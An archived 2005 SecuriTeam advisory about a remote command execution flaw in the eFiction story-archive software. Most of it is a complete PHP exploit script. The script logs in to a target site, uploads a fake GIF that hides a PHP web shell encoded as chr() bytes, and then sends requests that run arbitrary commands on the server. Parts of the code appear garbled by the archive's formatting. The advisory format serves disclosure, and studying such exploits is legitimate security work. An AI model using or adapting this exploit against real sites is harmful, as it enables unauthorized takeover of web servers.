

[EXPL] eFiction Remote Commands Execution (GIF, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0084.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 11/27/05

To: list@securiteam.com

Date: 27 Nov 2005 12:47:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

eFiction Remote Commands Execution (GIF, Exploit)

SUMMARY

<<http://sourceforge.net/projects/efiction>> EFiction is an easy to use php/mysql based story archiving system. It allows for private or public submissions of original stories to a site through web interface. It has a fully skinnable front end and a fully functional back end.

A vulnerability in eFiction allows remote attackers to cause the program to execute arbitrary commands.

DETAILS

Vulnerable Systems:

* eFiction version 2.0 and prior.

Exploit:

```
<?php
```

```
# ---efiction20_xpl.php 15.19 17/11/2005 #
```

```
##
```

```
# eFiction <= 2.0 fake GIF Shell Upload #
```

```
# coded by rgod #
```

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

```
# site: http://rgod.altervista.org #
##
# usage: launch from Apache, fill in requested fields, then go! #
##
# Sun-Tzu: "If fighting is sure to result in victory, then you must fight,
#
# even though the ruler forbid it; if fighting will not result in victory,
#
# then you must not fight even at the ruler's bidding." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> ***** eFiction <= 2.0 remote commands xctn
*****
</title><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;
SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }
img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important}
option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1
{font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:
0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} *
{font-style:
normal !important} *{text-decoration: none !important}
a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration:
underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,
sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p
class="Stile6">
***** eFiction <= 2.0 remote commands xctn *****</p><p><p
class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
```


Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

```
    }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
    { echo "<td>".$headeri[$li]."</td>";
      }
echo "</tr></table>";
}
$proxy_regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}\b';

function sendpacket() //if you have sockets module loaded, 2x speed! if
not,load
    //next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
    echo "socket_create() failed: reason: " .
socket_strerror($socket) . "<br>";
    }
    else
    { $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
        die;
        }
        echo "OK.<br>";
        echo "Attempting to connect to ".$host." on port
".$port."...<br>";
        if ($proxy=="")
        {
            $result = socket_connect($socket, $host, $port);
        }
        else
        {

            $parts =explode(':', $proxy);
            echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
            $result = socket_connect($socket, $parts[0], $parts[1]);
        }
        if ($result < 0) {
            echo "socket_connect() failed.\r\nReason: (".$result.)
". socket_strerror($result) . "<br><br>";
        }
        else
        {
            echo "OK.<br><br>";
            $html= "";
            socket_write($socket, $packet, strlen($packet));
            echo "Reading response:<br>";
            while ($out= socket_read($socket, 2048)) {$html.=$out;}
            echo nl2br(htmlentities($html));
            echo "Closing socket...";
        }
    }
}
```

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

```
        socket_close($socket);
    }
}
function sendpacketii($packet)
{
    global $proxy, $host, $port, $html, $proxy_regex;
    if ($proxy=="")
    { $sock=fsockopen(gethostbyname($host),$port);
      if (!$sock) { echo 'No response from '.htmlentities($host);
                  die; }
    }
    else
    {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) { echo 'Not a valid prozy...';
                  die;
                }
        $parts=explode(':', $proxy);
        echo 'Connecting to '.$parts[0].':'.$parts[1]. ' proxy...<br>';
        $sock=fsockopen($parts[0],$parts[1]);
        if (!$sock) { echo 'No response from proxy...';
                    die;
                }
    }
    fputs($sock,$packet);
    if ($proxy=="")
    {
        $html="";
        while (!feof($sock))
        {
            $html.=fgets($sock);
        }
    }
    else
    {
        $html="";
        while ((!feof($sock)) or
        (!ereg(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
        {
            $html.=fread($sock,1);
        }
    }
    fclose($sock);
    echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];$username=$_POST[username];
$password=$_POST[password];$port=$_POST[port];$command=$_POST[command];
```

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

```
$proxy=$_POST[proxy];

if (($host<>"") and ($path<>"") and ($username<>"") and ($password<>"")
and ($command<>""))
{
$port=intval(trim($port));
if ($port=="") {$port=80;}
if ((($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=="") {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","", $host);
$path=str_replace("\r\n","", $path);

#STEP 1 -> Login
$data='-----7d53102423092a
Content-Disposition: form-data; name="penname"

'.$username.'
-----7d53102423092a
Content-Disposition: form-data; name="password"

'.$password.'
-----7d53102423092a
Content-Disposition: form-data; name="submit"

Submit
-----7d53102423092a---';

$packet="POST ".$p."user.php HTTP/1.1\r\n";
$packet="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*\r\n";
$packet="Referer: http://".$host.":".$port.$path."user.php\r\n";
$packet="Accept-Language: en\r\n";
$packet="Content-Type: multipart/form-data;
boundary=-----7d53102423092a\r\n";
$packet="Accept-Encoding: text/plain\r\n";
$packet="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1)\r\n";
$packet="Host: ".$host.$port."\r\n";
$packet="Content-Length: ".strlen($data)."\r\n";
$packet="Connection: Close\r\n";
$packet="Cache-Control: no-cache\r\n\r\n";
$packet=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ", $html);
$temp2=explode(' ', $temp[1]);
$COOKIE=$temp2[0];
echo '<br>Your cookie: '.htmlentities($COOKIE);
```

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

#STEP 2 -> Upload a shell...

\$SHELL=

```
chr(0x47).chr(0x49).chr(0x46).chr(0x38).chr(0x39).chr(0x61).
chr(0x01).chr(0x00).chr(0x01).chr(0x00).chr(0xf7).chr(0x00).
chr(0x00).chr(0xa4).chr(0xb6).chr(0xa4).chr(0x16).chr(0x00).
chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
chr(0x00).chr(0x6b).chr(0x00).chr(0x4c).chr(0x15).chr(0x00).
chr(0x00).chr(0xf4).chr(0x00).chr(0x69).chr(0x77).chr(0x00).
chr(0x00).chr(0xf8).chr(0x00).chr(0x6e).chr(0x62).chr(0x00).
chr(0x00).chr(0x15).chr(0x00).chr(0x67).chr(0x00).chr(0x00).
chr(0x00).chr(0x34).chr(0x00).chr(0x75).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x61).chr(0xc0).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x89).chr(0x00).chr(0x00).chr(0x1c).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0xa9).chr(0x00).chr(0x00).chr(0x20).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x6f).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x56).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70).
chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).chr(0x72).
chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).
chr(0x74).chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).
chr(0x29).chr(0x3b).chr(0x69).chr(0x6e).chr(0x69).chr(0x5f).
chr(0x73).chr(0x65).chr(0x74).chr(0x28).chr(0x22).chr(0x6d).
chr(0x61).chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).
chr(0x63).chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).
chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x22).
chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).chr(0x79).
chr(0x73).chr(0x74).chr(0x65).chr(0x6d).chr(0x28).chr(0x24).
chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).chr(0x63).
chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x3f).
chr(0x3e).chr(0x38).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).
chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x98).chr(0x01).chr(0x00).
chr(0xcc).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00).
chr(0x00).chr(0x58).chr(0x00).chr(0x10).chr(0xe6).chr(0x00).
chr(0x04).chr(0x12).chr(0x00).chr(0x10).chr(0x00).chr(0x00).
chr(0x04).chr(0x05).chr(0x00).chr(0x01).chr(0x90).chr(0x00).
chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
chr(0x00).chr(0xc8).chr(0x00).chr(0x10).chr(0xd5).chr(0x00).
chr(0xe8).chr(0xf5).chr(0x00).chr(0x12).chr(0x77).chr(0x00).
chr(0x00).chr(0xff).chr(0x00).chr(0x13).chr(0xff).chr(0x00).
chr(0x6c).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00).
chr(0x74).chr(0x6a).chr(0x00).chr(0x03).chr(0x16).chr(0x00).
chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
chr(0x00).chr(0xc4).chr(0x00).chr(0x30).chr(0x1e).chr(0x00).
chr(0x75).chr(0xe5).chr(0x00).chr(0x15).chr(0x77).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
```

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

chr(0x00).chr(0x15).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xdc).chr(0x00).chr(0x00).
chr(0xe7).chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).
chr(0x00).chr(0x70).chr(0x00).chr(0x01).chr(0x59).chr(0x00).
chr(0x00).chr(0x18).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x04).chr(0x00).chr(0x88).chr(0x01).chr(0x00).
chr(0xe8).chr(0x05).chr(0x00).chr(0x12).chr(0x01).chr(0x00).
chr(0x00).chr(0x6c).chr(0x00).chr(0x04).chr(0xe3).chr(0x00).
chr(0x42).chr(0x12).chr(0x00).chr(0x6e).chr(0x00).chr(0x00).
chr(0x74).chr(0x7e).chr(0x00).chr(0x30).chr(0x00).chr(0x00).
chr(0x87).chr(0x00).chr(0x00).chr(0x6e).chr(0xc0).chr(0x00).
chr(0x74).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00).
chr(0xff).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00).
chr(0xff).chr(0xff).chr(0x00).chr(0xd6).chr(0xff).chr(0x00).
chr(0x32).chr(0xff).chr(0x00).chr(0x6e).chr(0xff).chr(0x00).
chr(0x74).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00).
chr(0x5b).chr(0xff).chr(0x00).chr(0xe5).chr(0xff).chr(0x00).
chr(0x77).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00).
chr(0x15).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x07).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x6b).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x58).chr(0x00).chr(0x00).chr(0x03).chr(0x00).
chr(0xf0).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00).
chr(0x00).chr(0x06).chr(0x00).chr(0x00).chr(0xf6).chr(0x00).
chr(0x00).chr(0xe4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
chr(0x00).chr(0x0f).chr(0x00).chr(0x00).chr(0x1e).chr(0x00).
chr(0x00).chr(0xe5).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0xf8).chr(0x74).chr(0x00).chr(0x62).chr(0xe7).
chr(0x00).chr(0x01).chr(0x12).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0xc8).chr(0x68).chr(0x00).chr(0x28).
chr(0x32).chr(0x15).chr(0xe5).chr(0xe6).chr(0x00).chr(0x77).
chr(0x77).chr(0xa4).chr(0x00).chr(0xff).chr(0xe5).chr(0x00).
chr(0xff).chr(0x12).chr(0x00).chr(0xff).chr(0x00).chr(0x00).
chr(0xff).chr(0x00).chr(0x00).chr(0x6c).chr(0x00).chr(0x00).
chr(0x5b).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00).
chr(0x77).chr(0xfc).chr(0xf8).chr(0x36).chr(0xf7).chr(0x62).
chr(0x00).chr(0x12).chr(0x15).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x05).chr(0x00).chr(0x36).chr(0x90).chr(0x01).
chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
chr(0x00).chr(0xc8).chr(0x04).chr(0xd8).chr(0xd5).chr(0x29).
chr(0xed).chr(0xf5).chr(0xe5).chr(0x12).chr(0x77).chr(0x77).
chr(0x00).chr(0xff).chr(0x94).chr(0xff).chr(0xff).chr(0xe7).
chr(0xff).chr(0xff).chr(0x12).chr(0xff).chr(0xff).chr(0x00).
chr(0xff).chr(0x6a).chr(0x64).chr(0x00).chr(0x16).chr(0x2f).
chr(0x00).chr(0xf4).chr(0xe6).chr(0x00).chr(0x77).chr(0x77).

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

```
chr(0x00).chr(0xe0).chr(0x00).chr(0x9c).chr(0x18).chr(0x00).
chr(0xe8).chr(0xe5).chr(0x00).chr(0x12).chr(0x77).chr(0x00).
chr(0x00).chr(0x00).chr(0xff).chr(0x4e).chr(0x00).chr(0xff).
chr(0x21).chr(0x15).chr(0xff).chr(0x4c).chr(0x00).chr(0xff).
chr(0x00).chr(0x00).chr(0x6f).chr(0x7c).chr(0x00).chr(0x10).
chr(0xe8).chr(0x00).chr(0xe5).chr(0x12).chr(0x00).chr(0x77).
chr(0x00).chr(0xf8).chr(0x00).chr(0x7b).chr(0x62).chr(0x00).
chr(0xe0).chr(0x15).chr(0x00).chr(0x4e).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x98).chr(0xb0).chr(0x01).chr(0xe8).
chr(0xe8).chr(0x00).chr(0x12).chr(0x12).chr(0x00).chr(0x00).
chr(0x00).chr(0x64).chr(0x98).chr(0x6f).chr(0x2f).chr(0x10).
chr(0x10).chr(0xe6).chr(0xe5).chr(0xe5).chr(0x77).chr(0x77).
chr(0x77).chr(0x00).chr(0x10).chr(0x52).chr(0x00).chr(0xe4).
chr(0xe9).chr(0x00).chr(0x4e).chr(0x12).chr(0x00).chr(0x00).
chr(0x00).chr(0x61).chr(0x20).chr(0xc8).chr(0x00).chr(0x02).
chr(0xff).chr(0x6c).chr(0x4f).chr(0xff).chr(0x00).chr(0x00).
chr(0x7f).chr(0x69).chr(0x00).chr(0x1c).chr(0x00).chr(0x01).
chr(0xe9).chr(0x61).chr(0x00).chr(0x12).chr(0x00).chr(0x00).
chr(0x00).chr(0x29).chr(0x94).chr(0x00).chr(0x00).chr(0xe7).
chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x6f).chr(0x00).chr(0x01).
chr(0x10).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00).
chr(0x77).chr(0x00).chr(0xa0).chr(0x00).chr(0x00).chr(0x3a).
chr(0x00).chr(0x00).chr(0x50).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x30).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x69).
chr(0x00).chr(0x00).chr(0x61).chr(0x60).chr(0x00).chr(0x74).
chr(0xf1).chr(0x00).chr(0x74).chr(0x15).chr(0x00).chr(0x69).
chr(0x00).chr(0x00).chr(0x00).chr(0xf0).chr(0x00).chr(0x00).
chr(0xaa).chr(0x00).chr(0x02).chr(0x47).chr(0x00).chr(0x00).
chr(0x00).chr(0x21).chr(0xf9).chr(0x04).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x2c).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x01).chr(0x00).
chr(0x07).chr(0x08).chr(0x04).chr(0x00).chr(0x01).chr(0x04).
chr(0x04).chr(0x00).chr(0x3b).chr(0x00);
```

```
$data='-----7d529a1d23092a
Content-Disposition: form-data; name="upfile"; filename="C:\suntzu.php"
Content-Type: image/gif
```

```
!.$SHELL.
```

```
-----7d529a1d23092a
Content-Disposition: form-data; name="submit"
```

```
upload
```

```
-----7d529a1d23092a---
;
```

```
$packet="POST ".$p."user.php?action=manageimages&upload=upload
HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
```

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

```
application/x-shockwave-flash, */*\r\n";
$packet.="Referer:
http://".$host.".$port.$path."/user.php?action=manageimages&upload=upload\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data;
boundary=-----7d529a1d23092a\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1)\r\n";
$packet.="Host: ".$host.".$port.\r\n";
$packet.="Content-Length: ".strlen($data).\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
```

#STEP 3 -> Launch commands...

```
$packet="GET
".$sp."stories/".$username."/images/suntzu.php?cmd=".urlencode($command)."
HTTP/1.1\r\n";
$packet.="Host: ".$host.".$port.\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("GIF89",$html)) {echo "Exploit succeeded..."; die;}
else {echo "Trying STEP 4...";}
```

#STEP 4 -> If Step 3 failed... maybe this is efiction 2.0, cycling GET requests...

```
for ($i=1; $i<=100; $i++)
{
$packet="GET
".$sp."stories/".$i."/images/suntzu.php?cmd=".urlencode($command)."
HTTP/1.1\r\n";
$packet.="Host: ".$host.".$port.\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("GIF89",$html)) {echo "Exploit succeeded..."; die;}
}
//if you are here...
echo "Exploit failed...<br>";
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
?>
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] eFiction Remote Commands Execution (GIF, Exploit)

The information has been provided by rgod.

The original article can be found at: <<http://rgod.altervista.org>>

<http://rgod.altervista.org>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.